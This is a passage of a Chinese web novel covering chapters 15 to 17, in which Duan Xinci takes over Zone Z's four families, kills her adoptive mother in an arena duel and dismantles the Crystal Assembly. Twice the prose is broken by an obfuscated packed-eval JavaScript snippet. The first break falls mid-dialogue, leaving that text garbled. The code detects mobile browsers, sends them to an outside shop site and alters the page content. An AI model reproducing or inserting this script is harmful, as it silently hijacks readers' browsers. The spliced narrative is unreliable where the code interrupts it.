因此晶体集会走向没落是必然。 就看它是在知情识趣中风光谢幕还是血泪教训中狼狈收场。 这期间,必然会有无数人前赴后继地向晶体集会这样一座腐朽大厦挑战挥刀。 而功成之后呢? 将晶体集会取而代之?重新成为人们心中的噩梦? 可那些挥刀的人,又有哪个不抱着这样的期望? 偏偏最有希望功成名就的【猎途座】首领,段心慈没有。 过了许久江灯艰难地寻回声音:“……那…要如何保证,之后无人再犯?” 在【猎途座】这样的庞然大物面前,一切反抗都如过眼云烟。但段心慈总有顾不上的那一天。 那时,人类的未来又该如何收场? 少年人的眼瞳依旧是灰暗的,毫无光亮。但几人分明能从她眼中看到不曾熄灭的火焰。 “我不必确保往后无人再犯,也不必那做枯守于此的人。” “晶体集会覆灭后,不是还有人类联邦和中央警局坐镇?这是两种完全不同的文明制度,我们正处在时代交替的路口上。” “无需成为一手遮天的人,一个时代自会有无数人扛起。” 段心慈描述的前景很好,好到哪怕仅是幻想一番就会感到热血沸腾。 但三人在短暂的冲动过后,没有忽视其中最重要的问题。 自古以来,那些有能力登上王座却不愿称王的人,下场从来凄惨。 毕竟无数人都紧盯的位置,最有希望的人却说不坐就不坐,自身不坐还不让别人坐。 历史中因此心生恨意,反目成仇的人不知凡几。 没走到最后一步,他们甚至不敢拍着胸脯说自己决计不会与段心慈反目成仇。 换做其他人呢?那些虎视眈眈的豺狼,恐怕3S阶的实力也只能让他们犹豫一秒,随后而来的就是无尽追杀。 3S阶虽然稀少,在足够诱人的利益驱使下只会越来越多。 况且这片宇宙中不是只有人族…… 三人不信段心慈会想不到这一层。 那么,这就是她深思熟虑后为自己安排的结局? 阴翳笼罩在三人心上,胸腔里像是塞满棉花。静默的氛围里棉花被血浸湿愈发沉重,没人能说得出劝说的话。 压在他们头顶的是人命。 不止一条,活生生的性命。 无法阻拦。 无从阻拦。 段心慈已经给出这一时期代价最小的方案。 ‘且不会有比这再小的代价。’ 江灯从来都是理智的。 就如此刻她心中知晓段心慈会面临的结局,却仍笑着说:“首领一定会得偿所愿。” 心脏泵血的声音犹在江灯耳边,她略过赛霓和法尔向她投来不可置信的目光直直看向首位上那人。 段心慈轻微颔首。尽管面上没什么情绪,但能感知到她对江灯的‘祝福’是满意的。 见此赛霓和法尔僵硬地将要说出口的话咽下。 “飞船会在13:45途经A区。” 墨灰双眼中透不进一丝光亮,深不见底的同时让人毛骨悚然:“这是你们离开【猎途座】最后的机会。” 江灯三人皆知她绝无说笑之意。这是他们最后一次拥有选择离开【猎途座】的权力。 错过了,下次离开—— 将定义为‘背叛’。 “我留下。” 话音尚未落地,说话的江灯,法尔以及赛霓面面相觑。 三道截然不同的声线说出的话却是异口同声。 “记住你们的选择。” 段心慈的声音听不出什么情绪:“背信者,我不会留情。” 15. 端倪 首都星系群-寰宇2172年 17月1日傍晚18:25 Z区作为唯一与首都星系群年月日同步的星系群,它与首都星系群一同被黄昏笼罩。夺目的人造恒星缓缓坠落至迁移型星舰环的下方,照亮另一面世界。 迁移型星舰环银白的机械轮骨在恒星照耀下折出刺痛双眼的璀璨光亮,在光亮之下是血污骸骨堆砌筑就的罪恶之都。 时隔两年,段心慈再一次踏进这片染血的星空,决定向那至高的座位发出挑战。 身为君主级战舰,【猎途座】大小与人造恒星相差无几,用遮天蔽日来形容毫不为过。战舰行过莫克贝尔的上空,如同一柄漆黑锋利的巨刀将天空劈成两半,衬得那黄昏如血如火。 地面上的居民仰头注视着这艘战舰,议论纷纷。 四大家族会议厅中,安恰·帕拉冷眼旁观这一幕。 自从得知段心慈要回Z区的消息,他们几人一周内开会的次数是过往一年的两倍。 “段家主。” 他抬手扶正眼眶中的义眼:“现在要说悔过的话,实在太晚。” “……” 段暮澜盯着几乎遮蔽整轮恒星的猎途座瞧上许久,最后一言不发地离开大厦楼顶。 没人知道她心里是如何想的。 谢挽风薄唇紧抿。 以目前谢家的形势他没有试错的机会,踏错一步就会跌入万丈深渊。 ‘是选择站队段暮澜,还是……’ 疲惫地揉揉眉心,谢挽风顶着巨大的压力心力憔悴地离开这座大厦。 见无人理会自己,安恰·帕拉面色阴沉。 只剩他一人的会议厅中空间突兀地开裂。 身为S+的安恰·帕拉察觉不对,立即回头。 那张同梦魇无异的少年脸庞扯出一个笑:“帕拉氏,许久未见。” 这是段心慈首次使用升至3S阶后领悟的空间撕裂。 立于安恰·帕拉面前,她眼神阴沉。 安恰·帕拉布满皱褶的老脸在看清来人的刹那变得惨白,他喉咙艰难地挤出字句:“段……段少。” “废话免了。” 段心慈没兴趣听安恰·帕拉的弯弯绕绕,她单刀直入:“我要帕拉家族为我所用。” 安恰·帕拉嘴唇翕动,看他的表情段心慈知道这人没把自己的话放心上:“这是通知,安恰·帕拉。我没在和你商量。” 老人心脏狂跳胸腔发痛却仍然想争取最后的通融:“不……” 段心慈终于耐心告竭,那双不透光的眼瞳无比阴翳。安恰·帕拉在这样的注视下全身僵硬,连带着灵魂都觉得悚然。 “说起来你的孙子德里安和你一样,不识时务。” 清脆的骨骼断裂声响起。 话音未落,安恰·帕拉连反抗的动作都未来得及做出就被段心慈单手掐碎脖颈。 走至会议厅落地窗前,她左手拎着安恰·帕拉的尸体,右手握紧成拳猛地挥出—— 足有45厘米厚的金属化玻璃窗就这样被她轻易轰碎,散落一地。 “段暮澜。” 她的声音很轻。 刚走出大厦,段暮澜若有所感地停下脚步。 下一瞬安恰·帕拉的尸体就这样直直掉在她眼前,从万米高空坠落砸在地面变成一滩肉泥。 “……” 段暮澜抬起头,猝不及防地对上段心慈灰暗眼中跳跃的火光。 “疯子。” 段心慈看懂了段暮澜的口型,她眉眼低垂似是笑了笑。 段暮澜不傻,她当然能察觉段心慈如今的动作略显紧迫。能让她这个便宜女儿感到紧迫的事可不多见。 多么难得的机会。 如果不横插一脚倒显得她不够尊重这场对弈。比起某只不知天高地厚的猫崽子,段暮澜更加憎恶高不可攀、纤尘不染的晶体集会。 想到这里,她对着段心慈晃了晃手里的通讯器,转身走进茫茫人群中。对于安恰·帕拉的死,段暮澜丝毫不在乎。 ‘一条看不清自己地位的老狗,死就死了。’ 段心慈看着段暮澜远去的身影,抬起手腕,通讯器光屏上赫然是方才段暮澜发来的信息:【明日此时,地下擂台见。】 她知道,这是段暮澜为数不多愿意借势给自己的机会。 晶体集会当真是……仇者多过江中鲫。 按灭光屏。再次撕裂空间,段心慈闪身迈入空间裂缝中。 四大家族中谢家势微许久,这让谢挽风更加容易动摇自身的立场。 此时谢挽风坐在街边长椅上焦虑忧愁地抬头望向天空,傍晚时分暮色橙红。 驼色大衣口袋中的通讯器疯狂响动起来。 他心脏重重一跳,似乎有什么不在意料之中的事情发生了…… S+阶精神力幻形,竹叶青,第二被动技能:危险预知。 谢挽风强行按下那股极为不妙的预感,拿出不断响动的通讯器点开光屏,一瞬间上千条信息纷纷映入眼底。 更多新消息还在源源不断地涌入,他点开最上面一条,发信人是秘书女士,单是这位秘书女士就一人发给他将近500条信息。 3分钟前 安佳龄女士(秘书):段家大少把安恰·帕拉杀死了。 安佳龄女士(秘书):段暮澜公开宣布支持段氏继承人的一切行动。 …… 最新一秒 安佳龄女士(秘书):现在Z区消息已经满天飞。谢董,如果您死了请记得死前把我这个月的工资结了。谢谢。[鞠躬][鞠躬][鞠躬] “……” 还挺有礼貌的。 面前空间一阵扭曲,谢挽风缓慢抬起头。 那道经常挂在四大家族会议厅光屏上,任由他们恨得咬牙的身形骤然出现。 来人手上染血,面颊上飞溅的干涸血渍以及周身隐隐约约的高阶精神力威压无不诉说着她的身份。 正是段心慈。 谢挽风心态平稳地低下头把秘书这个月的工资结了,另外打过去300万星金币的离职费。 集团内部安佳龄收到老板的打款,她面露不忍,嘴角拉平喃喃自语:“董事长,一路走好……” ‘愿此世星海能收留你的灵魂。’ 想到这里,安佳龄煞有其事地两指并拢在额前从上至下虚虚一划:“感恩父神。” ‘……等等,不对。’ 还是用原来的手势,她重新在眼下横向划上一道,口中念念有词:“母神恕罪,感恩母神。” ‘差点忘了,前两天刚做过性别编辑……呜呜呜,母神原谅我。’ * 段心慈不欲拖延,对正在输入支付密码的谢挽风开门见山:“我要谢氏集团……” “行。” 段心慈:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509243|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……听命于我。” “…可以。” “但是,”顶着段心慈冷冽的目光,谢挽风淡淡补充道:“能不能别动我家二少。” ‘当然,不能就算了。’ 谢挽风自认此时提上一嘴已经是仁至义尽,且不提他与谢挽非之间本身并无多少交情,在Z区这样的地方,亲情又算得什么呢? 是比路边随处可见的廉价赛博涂鸦还不值钱的东西。 不知谢挽非在不久的将来会变成一位混世魔王,否则谢挽风自认此时他连提都不会提。 “只要谢挽非安分守己。” 段心慈答应得相当干脆,这让谢挽风紧绷的神经放松下来。 毫无留恋地将手中大半个谢氏集团划进段心慈名下,谢挽风转身就走。 如此快速的集团易主机制也只有Z区能办理,毕竟,杀人夺财这种事在Z区就像喝水一样正常。但放在任何一个其他星系群,没有大半个月是绝对解决不了的。 四大家族,还剩下最后一位—— ‘祂’。 不知何时街道周围雷光闪烁,细密诡谲幽暗电网霎时密布。 而这一幕威能强悍堪称恐怖的景象,不过是作为被这片星空宠爱的孩子所附带的、最微不足道的,偏爱仪式。 比起段心慈力量上的碾压以及生死之间血腥的战斗技巧,‘蓝扶月’自诞生起本身就是极其强横的存在。 “拥有裂隙的灵魂……” 祂正欲再进一步,一道绝对残忍、充斥杀意的目光与蓝扶月直直对上。 如果说段心慈的灵魂有一半是铁律与枷锁,那另一半就是重重枷锁之下困囿徘徊的困兽,只等血腥腐蚀枷锁的那天挣脱牢笼。 “…半步真理?” 蓝扶月轻嘶一声。 无数世界中,真理,还有另一个名字—— 【神祇】。 “有趣。” 这是祂第一次见到真理。 尤其,对方执掌的是【死亡】。 在今天之前,蓝扶月从未想过在这片大兴生化科技的宇宙里,会碰上一位尚且年轻的半神。 在这片长生种数不尽其数、大多种族普遍长寿的星空,不符合孕育【消泯】的条件,更别提【死亡】。 对方出现在这里,实在是过于蹊跷。 ‘但,这和我有什么关系呢?’ 蓝扶月见过段心慈后,就毫不犹豫地转身离开。 就在方才,祂的命运告诉祂—— 不要得罪【死亡】。 ‘那就——’ “期待我们再次相见的那天。” 蓝扶月视线划过那张阴郁与锋利并存的面容,勾了勾唇。 随着对方离场,街道上密集恐怖的雷光电网也慢慢消失,空气终于开始缓慢流动。 凝滞的死寂里,段心慈转头看向街道橱窗上倒映的面容。 灰色虹膜深处是一团模糊无光的黑影。 * 17月1日傍晚18:29 Z区其余三大家族同一时间宣布易主,段家依旧对外声称无条件支持他们少主的一切行动。 晶体集会能同【猎途座】对上,却无法和整个Z区抗衡。 原本安排的追杀令被紧急取消,换成不痛不痒的Z区人手一份的通缉令。顺便将赏金尽数打进段心慈发给他们的收款编码。 比起警告倒像是示弱。 16. 规则 寰宇2172年-17月2日傍晚18:25 Z区-莫克贝尔中心 地下竞技场 这座建立在Z区中心,历史悠久的地下竞技场是由四大家族共同出资创立而成。 而其中有一条不成文的规定就是:四大家族中,在上一任家主仍然在世,且能力强盛时,若本家中有人想要挑战家主的权利与地位,便可进入擂台决一死战。 强制约战直至其中一方死亡,方可出场。期间不得投降,不得认输。弃权者也只有放逐星海或是死路一条。 碍于竞技规则,段心慈披上那件放在衣柜中积灰许久,代表段氏继承者身份的制服。 金色的领角夹在竞技场令人头晕目眩的闪光灯下反射出刺眼的光。袖口上绣着繁复的同色花纹。衣服版型剪裁得体。 配上那张阴翳却难掩锋利之美的脸以及完美的身材比例,仅仅是伫立在那就如同一个天然的聚光体。无数人的目光纷纷向她看去。 ‘…好闪。’ ‘生死决斗变得像舞台秀一样。’ 段心慈不理解这样做的用意。 假设安恰·帕拉还活着,大概会告诉她这是收观众高价门票的秘诀之一。 好在段暮澜没有拖延时间的意图,她的及时到场很大程度上挽救了段心慈被人狂热围观而蔓延阴郁的心情。 比起碰不到人就会被碎尸万端的段心慈,显然Z区的人更加迷恋在一夜情后将床伴碎尸万端的段暮澜。 段暮澜看向段心慈所在的方向,微微一笑:“请。” “……请。” 能说出一句客套话,对于段心慈而言已经十分难得。 段暮澜闻言,心中居然生出几分诡异的欣慰来:死猫崽子也会说人话了。 伸出手整了整段心慈的衣领,眼前的少年比她矮了有半个头。段暮澜也不知道自己这是哪里来的耐心,她劝道:“你现在还有反悔的机会。” 段心慈后退一步,神情阴沉。 段暮澜见此暗叹可惜:‘多好的当狗的苗子啊。’ 旁人听不见二人的交流只以为是母子情深,纷纷赞叹Z区能有此真情实在难得。 * 18:30 段暮澜与段心慈各自占据擂台左右两侧。 金色防护罩自擂台四边升起,在顶部中央聚合。此举意在保护台下那群花费重金门票的观众们。 不等裁判员一声令下,仅是瞬息之间二人就已缠斗在一起过上数十招。 “……违规!违规!” “重大违规!!!” 裁判员大声喊起来,可惜无论台上台下都无人在意他的警告。这样的盛况,不违规还有什么看头? “说起来,我并不是你的亲生母亲。” 段心慈侧身躲过一击,并未搭话。 “但好歹也算尽心尽力把你拉扯大。” 段暮澜攻击越发狠辣,她笑道:“你应该叫我母亲的。” 只要眼睛不瞎的人都能看出来,段心慈对这身衣服极为不适应。段暮澜想,她临时让人加上去的这条规则果然没错。 “……衣服。是你故意的。” 段心慈声音听不出情绪。 “不听话的野猫就应该受点教训,不是吗?” 段暮澜找准时机按上段心慈的后脑勺,狠狠往擂台地面一掼。原本几经加固的陨石擂台被生生砸得开裂。 滚热的血从段心慈的额头淌下,流进眼睛里。刺得她双眼发痛。 SS和SS+之间的实力差距虽说不至于犹如天堑,但仍旧足够致命。 “作为母亲我可以给你一次认输的权利。” 段暮澜贴近她,却始终保持在一个安全的距离。 自己靠近对手送死这种事,绝对不会发生在段暮澜身上。 她手中不知何时出现一把枪,枪口抵在段心慈的后颈处:“认输,你还是我段氏集团的少主。我可以出面保你一命。” 裁判员呐呐:“……携带武器,违规。重大违规。” 段心慈并未答话,她抬起尚且完好无损的左臂,反手抓住段暮澜扣在自己后脑那只手的手腕,以将段暮澜甩了出去。 在察觉到手腕上传来触碰之感的那一刻,段暮澜艳丽的面庞上闪过一丝阴沉。 这就是精神力幻形猎豹的优势所在,哪怕她比段心慈高了半个阶级,但在速度上仍然要逊色许多。 她并没有顺着段心慈的力道拉开距离。 而是选择了一个更加两败俱伤的做法:回扣住段心慈左手。 只听见一阵令人牙酸的‘咯啦’声,段心慈的左手在两股力道的拉扯下彻底报废。仅剩下一小块皮肉粘连这,要掉不掉。 而段暮澜整个右臂不自然地下垂着。看似是段暮澜受伤更重一些。 但……顶着段心慈阴翳的目光,段暮澜笑着将臂膀往上一推,接了回去。 “再来?” “……” 左手已经废了,即使在SS阶的自愈力下也很难短时间内恢复。 段心慈目光盯着自己的左手,再留下去只会成为自己的累赘。 她在所有人震惊的目光中将原本摇摇欲坠的左手扯了下去,扔在一旁。众所皆知,对于SS级来说断肢再生并非难事,理智上也明白利弊。 但能做到如此干脆利落地舍弃自身的一部分,绝非常人能做到。 “如你所愿。” 家族继位挑战赛的规则很多—— 比如不能使用武器,不能出言辱骂,不能使用精神力幻形参赛。 必须穿规定的制服,不能佩戴墨镜,如有腰带不能超过1.7123963084米,赛前三小时不能吃饭喝水,不知道的还以为是旧时期去医院体检。 比赛时必须发于情,止于礼等等一些列规则…… 段心慈想,这些规则通通不重要。 规则为胜利者定下。 要赢。还有,活下去。 看着被段心慈丢在一旁的左手,段暮澜神情晦暗不明。 “是吗?那就让我看看。” “只会放狠话可不行。”话音落下,段暮澜手中出现一架特制歼星炮。 将衣服卷起缠在手臂上,段心慈再次俯身冲向段暮澜。二人再次缠斗在一起。 比起之前约束颇多,处处禁锢的打法,这一次显然无论是段心慈还是段暮澜都将比赛规则视若无物。 裁判员:“……?” 台下观众:“??!” ‘……嗨?有人在乎一下我们的命吗?!’ 尽管二人的打法都无比疯狂,但仍有诸多不同。如果说段暮澜的疯狂中依旧带有一丝贵族风度,那段心慈就是一头完完全全不要命的兽类在撕扯攀咬。 在这样的完全不计代价的进攻下,段暮澜招架起来竟有些艰难。 “你这是打算把我打死然后给我殉葬?!”她调笑道。 这不是段暮澜第一次和段心慈对峙,但绝对是她第一次见识到段心慈死寂外表下埋藏的疯狂燃烧的火焰。 原本勉强算得上完好的陨石台面早已龟裂,变得千疮百孔,。 段心慈此刻已经听不见段暮澜的声音,血液遮挡了她的视线。周遭的一切在她脑海中都只剩下:段暮澜的方位,进攻的声音,以及铺天盖地的血和最粗暴简单的进攻方式。 这一刻,段暮澜在她眼中已经失去了全部的意义,唯剩下猎物二字。血液每一次流动都牵连出足以将正常人逼疯的透骨疼痛。 这些,段心慈全都感觉不到了。 场上形势逐渐调转。 段暮澜察觉危险,与其说这样的打法她从未见过,倒不如说其中的一二分似曾相识更让人心惊肉跳。 在段暮澜生生炸毁段心慈左侧第二根肋骨,伸手即将探入心脏的同时,她被段心慈自下而上单手扼住脖颈。 那一刻,段暮澜低下头,她神情恍惚地对上一双被鲜血浸透,却依旧难掩杀戮,疯狂的怪诞眼瞳。 ‘……’ ‘这辈子死得值了。’ 这是段暮澜彻底断绝生机前的最后念头。 竞技场内鸦雀无声。 事实上这场斗争最终的赢家是谁对他们并没有影响,多数人来到这里只不过是凑个热闹。 望见台上犹如杀神的段心慈,防护罩被撤下的一瞬,众人纷纷不约而同地往椅背缩去。 实话讲,他们还没有把命丢在这里的觉悟。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509244|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >段心慈弯腰捡起自己的左手,在手腕断口处比了比。 现在有两个选择: 一是旧的捡起来继续用,不过灵活度终究不如以往。 二是等新的长出来,同原本的手没有却别,只是恢复过程会慢上些许。 ‘……有些难选。’ 想了想,她还是决定放弃那只已经被舍弃的左手。 与其留下后患,倒不如等久些。只剩一只手对她的生活并无太大影响。 在人群极度畏惧与看怪物的目光下,段心慈离开地下竞技场。 江灯犹豫再三还是捡起那件破损的衣服,追了上去:“…首领,这衣服?” “……烧了吧。” 她终于迟钝地意识到身上传来的阵阵剧痛,神情恹恹地不知道在想些什么。 “……谢家派人送来邀请函,请首领参加他们二少主生日宴。” 青年想了想还是补充道:“就在刚才。” “需要我让艾莫什回绝吗?”江灯建议。 段心慈低头看着自己染血的衣衫,暂时残缺的手臂气笑了。 “去。” 谢家既然急于试探与投诚,她怎么好拒绝? 两周后,少年在众人畏惧退怯的目光里步入那场和自己周身血气格格不入的奢华宴会。 不管是谢挽风还是谢挽非都没有想到,对方竟当真亲临这场宴会。毕竟段心慈手下的星盗团以及其余实力完全可以成为她目空一切的资本。 但她还是到场了。 像是命运的指引,又像是一些更深层次的引导。 她抬起头,望见楼上谢挽非那双天真烂漫的双眼。 金棕色罗马卷的孩子单手托腮,完全是不谙世事的模样。 ‘一切污秽都无法侵染的眼睛。’段心慈这样想到。 同时她又有些不解:四大家族之一的谢氏,为何要将自己的二少主养出这副……任由宰割的模样? 这对谢挽风毫无益处。 毕竟谢挽非是他的妹妹。 二人不说利益与共,至少也是一条船上的蚂蚱。 想不明白,她便没有深思。 这毕竟是别人的家事,况且谢挽非也不像是受到虐待的模样。 段心慈转身将外套递与门前的侍者,因而错过谢挽非眼底一闪而过的杀戮之意。 那是她第一次对他人的杀意失去感应。 或许也称不上绝对的杀意。 那双璀璨明亮的浅粉双眸中,闪过仇恨、恐惧、杀意、迷茫…… 还有一丝,癫狂而复杂的喜悦之情。 于谢挽非而言那个同段心慈对视的瞬间,如神亲启。 “命运,真是独断啊。” 淌着毒的蛇影嘶鸣着,在金色的瞳孔深处滑过。 谢氏集团二少主谢挽非在12岁生日宴会上,当众觉醒精神力幻形——金鳞蟒。 SWP等阶:S+。 而彼时扳倒养母顺利成为段氏集团掌权者的段心慈年仅14岁。 精神力幻形:变异猎豹。SSS阶。 在谢挽非觉醒的同个瞬间,位于宇宙更深邃幽暗的一处: 【???被送进以精神疗养为名的L区精神中心,永远无法踏出疗养院一步。】 【德里安·帕拉对谢挽非一见钟情,最后幸福生活在……@#&*@#!】 【**#(@!@^6(**(&&^^$))!&#((&*!!!......】 【天命主角命运轨迹出错,申请链接就近外包管理员。】 【#3 #2 #1 】 【#链接成功】 【祢好,这里是代号十·时间神域】 【联系方:编号#07秩序型星际世界。】 【检测到联系方为一级客户,对接者身份切换,请稍等。】 【目前接待者:代号十-时间主神】 【请提出祢的意愿。】 【我要段心慈——】 【死。】 编号07秩序型星际世界中,属于这片宇宙的世界意识这样说道。 齿轮转动,时间流逝的声音最后只交汇出一句—— “……如祢所愿。” 17. 正统 寰宇2172年21月79日。 晶体集会年度总会上,「灰山羊」大肆弹劾「教授」,斯格威尔获得27票否定票,撤销领主一职为期半年,喜提禁闭三个月。 三年后,联邦中央警局现任局长兼联邦首席找上段心慈。 当初被她救下的林洛目光真诚:“段心慈,我知道您要做什么。” 黑发青年的声音远比五年前更加坚定沉稳:“请您务必带上我。” 17岁的段心慈神情阴郁难测地看了她许久,最终同意。 而江灯三人则逐渐负责处理一些过线的舆论风波以及不同宇宙种族和人类之间的外交矛盾。 在以猎途座与中央警局的共同围剿下,晶体集会坍倒的速度超乎所有人原本的预期。 步履蹒跚的「灰山羊」再一次拄着拐杖,面见这位年轻的无冕之王。 “有什么话直说。” 段心慈坐在主座上,垂眼俯视着眼前的老者。 嚣张狂妄与收敛冷静这两种截然不同的姿态在那双阴沉死寂的眼瞳中诡异地融合,同时出现在一人身上。 ‘似魔似神。’ 无端的,「灰山羊」这样联想到。 “……我来卖一条消息。” 她身躯颤抖,段心慈能看出这回不是装的:“说。” 「灰山羊」摩挲着手中的拐杖,豆大的汗珠从额前冒出。她本该犹豫的,但对上那双暗沉的眼,她忽然就释怀了。 身居高位许久,自己该向前看。 “如今的晶体集会,其实并非真正的【龙鳞汇】。” 说出这句话,「灰山羊」如释重负,就连语速也变快许多:“我说的【龙鳞汇】并非是初代所创建的第一代。而是,当初的前六代。” “六代会长死后晶体集会后继无人,内部爆发太多矛盾,所有人都争着想要那个至高无上的座位。” “当时最有潜力的两支,分为两个派系。” “一派是当时以古忠青为首的,也就是如今晶体集会的首席领主。” “她这辈子唯一做的好事就是没有用自己玷污集会会长这个名头,颇有自知之明地后退一步。” “另一派……” 「灰山羊」抬起头,对上段心慈的目光她心脏颤了颤:“正是以段长风为首的,也是就如今Z区段氏集团的创始人。” “当初段长风为首的派系落败,被流放到Z区。这也是为什么Z区星系群和首都星系群的时间流速完全一样的原因。” 「灰山羊」闭上眼:“这是羞辱。一场花费巨资对败者的羞辱。” 她再次睁开眼睛对上坐于高位的段心慈,却并没有从中看出自己想要的情绪。 无论是愤慨、不悦…亦或是别的什么…… 一概没有。 ‘那位早就知道了。’ 不可避免的,「灰山羊」脑海中划过这样的念头。 “……您若是有意争夺那个位置。” 「灰山羊」不再暗示:“也算是正统。” “…正统?” 段心慈神情阴冷,似笑非笑:“我是不知,六代死后这世间还有晶体集会的正统。” ‘失策!没想到无冕之王竟是守旧派!’ 后背被粘腻的汗液浸湿,「灰山羊」摇摇晃晃觉察此行不妙。 “先说要求,毕竟你的消息也算有些价值。” 段心慈的话让原本想要逃逸的「灰山羊」留了下来。 尽管她并没有从那双灰黑暗沉的双眼中看出任何对她带来的消息产生的满意之感,但侥幸心理仍然占据上风。 「灰山羊」咬紧牙关,面部肌肉抖动:“我要活下去。” 在无冕之王的打压下,继续呆在晶体集会注定不会有出头之日。 不想给集会殉葬,她必须为自己早做打算! 段心慈神情看不出喜怒:“你不该向我索要关于性命的担保。“ “……为什么?“ 「灰山羊」后退一步。 “你不会死。” 段心慈没有正面回答「灰山羊」而是直接送客。 30分钟后,晶体集会排行第13位的领主「灰山羊」被联邦警局宣告罪名十余项,在群情激愤中逮捕入狱。 出人意料的是「灰山羊」的精神力幻形并非与山羊之类的相关,而是一条蚯蚓。 被捕期间她想利用精神力幻形蚯蚓断尾逃生,被林洛当场抓获,罪加一等。 经查实「灰山羊」的罪名不限于拐卖智慧生灵送去星际伖隶市场当宠物,滥用职权,恶意欺压、侵犯下属等罪名。 犯罪程度令人发指。 「灰山羊」在牢里对无冕之王破口大骂,林洛请示过段心慈的意见后对「灰山羊」进行一番友善的口头慰问。 在SS+精神力幻形渡鸦喋喋不休的攻势下,「灰山羊」痛改前非,发誓自己会认真坐牢。 同年,谢家二少谢挽非不顾谢挽风重重阻拦与晶体集会交好,导致谢挽风每次见到段心慈都恨不得死在当场。 ‘好一个安分守己…’ 他当时就不应该把话说太满…… 无冕之王对此不作评价。 谢挽非虽说是叛逆,但目前还没有太过分。 只要不阻碍她从根源搬倒晶体集会的计划,谢家的二少主无论如何折腾都与她无关。 段心慈一直这样认为,但谢挽非本人并没有这份打算。 阿涟塔星云-人类首都星系群 寰宇2179年,那本该是尘埃落定的一年。 “谢挽非。” “【长生】,可一直在,看着你呢。” 「教授」声音嘶哑,身后的督察官死死钳住他的肩膀。 路过谢挽非时,那双浑浊布满血丝的眼球死死盯住金棕卷发的少年。 他垂死挣扎,心有不甘。 谢挽非面色平静,好似完全没有受到影响。 她眼底带着只有「教授」能看懂的轻慢与嘲讽后退一步。 身穿蓝黑制服的督察官注意到「教授」闹出的动静。 他立刻狠狠按下「教授」头发稀疏的脑袋,满怀歉意地对谢挽非笑笑。 督察官为自己工作上的失误感到有些紧张。 这位谢二少无论在联邦还是集会,都炙手可热的大红人。 他还不想丢掉工作。 思及此,督察官加大力度钳制住手中的犯人,将「教授」毫不留情地押上行刑场。 在他手里的是全联邦向前数一千一百七十九年里,唯一一名死刑犯。 在早已经废除死刑的联邦中也算是件顶顶稀罕的事。 不过一想到这位「教授」所犯下的罪行,督察官忍不住狠狠磨了磨自己的后槽牙。他恨不得将自己的手指嵌进「教授」松垮的皮肤里,直刺血肉。 “看什么看!走!” ‘这个畜生是怎么敢的!’ ‘残害人类同胞,星海异族数万名,就为了他那个八竿子打不出一个屁的活体试验——’ ‘甚至还为此掘了晶体集会三代会长和四代会长的坟!’ ‘天杀的,还不如去掘如今那群废物高层领主的祖坟呢!’ ‘死刑还是便宜这老家伙了。’ 谢挽非没有在意督察官是否失职,并非是完全对「教授」的临死叫嚣毫无触动。 只是,比起死刑犯的‘好意提醒’,那双犹如浅粉碎钻的虹膜中央,金色瞳孔里更早倒映出另一人暗沉的身影。 处决台观众席—— 在位于30位晶体集会领主席更高的一处高塔之上。 深灰的编织工艺腰带,犹如有力的兽尾在空中扬起转身离去的弧度。 熟悉又陌生名字宛若一道闪电劈开谢挽非混沌的脑海。 ‘段心慈…’ ‘你居然带走了【长生】?!’ 谢挽非压下心底的惊骇,转身离开。 她对「教授」被处死的画面并不感兴趣。 ‘这就是…【长生】?’ 段心慈坐在迁跃舰的驾驶位上,神情厌倦。 可喜可贺,在21岁这一年她变声期早已过去,且身高终于长到185cm。 晶体集会现下也完全变成空壳一座。 经历「灰山羊」和「教授」等众多罪行的揭露,大部分民众已经不再对他们抱有希望。 没有集会颁布的强制封闭法令,人类与其他星际种族的来往贸易也重新恢复。 【猎途座】一手遮天的统治下,这片宇宙被彻底肃清。至少那些路过的商贸船只需要防范多变的陨石风暴,不需要忧心被不知道从哪儿出来的海盗劫掠。 一切都在往好的方向进展。 针筒在她骨节分明的手指间来回翻飞,怪异的红色药水也随着她的动作在玻璃针筒内撞击管壁,泛起阵阵荧光蓝。 像只振翅于指尖的炫目蝴蝶。 ‘【长生】…这样的名字……’ ‘该说是制造它的人野心不小,还是想要得到它的人心比天高?’ 她终于不再转悠这支传说中的药剂,而是将它拿至眼前仔细端详起来。 青年面前,窗外是漆黑的星海。 “不重要。” 恍惚间她听到灵魂里另一个自己说:“这不重要。【长生】只会是属于你的。” “并且,从来没有别的选择。” 我们之间相差是永远无法逆流的时间。 这份距离如隔天堑。 段心慈在心底叹了口气,将针管扎进静脉。【长生】冰冷的药水被她缓缓推入血管。 关于她的精神病…就连那些科研院的医生也研究不出什么名堂。 彻底恢复记忆的段心慈深感理解:毕竟这就和让本源星6700年的医生在自己的年代碰到1900年的天花患者是一个道理。 是个人都想不到。 没有趁她病要她命,就算是那些医生医德高尚,慈悲为怀。 毕竟她在黑市的悬赏令,以及晶体集会的通缉令上都价值不菲。 分别是九千亿星金币以及三千七百亿星金币的高价。 ‘倘若我哪天想不开去自首……’ 段心慈饶有兴致地想晶体集会那些人就是有趣—— 既不敢光明正大的得罪自己,却又偏偏还想维持他们在民众心中的正派形象。 私底下找自己做交易的匿名领主足有30位。不多不少,恰巧是全体领主的人员数量。 要她说,晶体集会早在六代会长自戮的那一刻,就彻底分崩离析了。偌大一个集会连劳苦功高的会长性命都留不住,当真是废物。 青年头脑昏沉,一时间想了很多,又好像其实什么也没有留下。 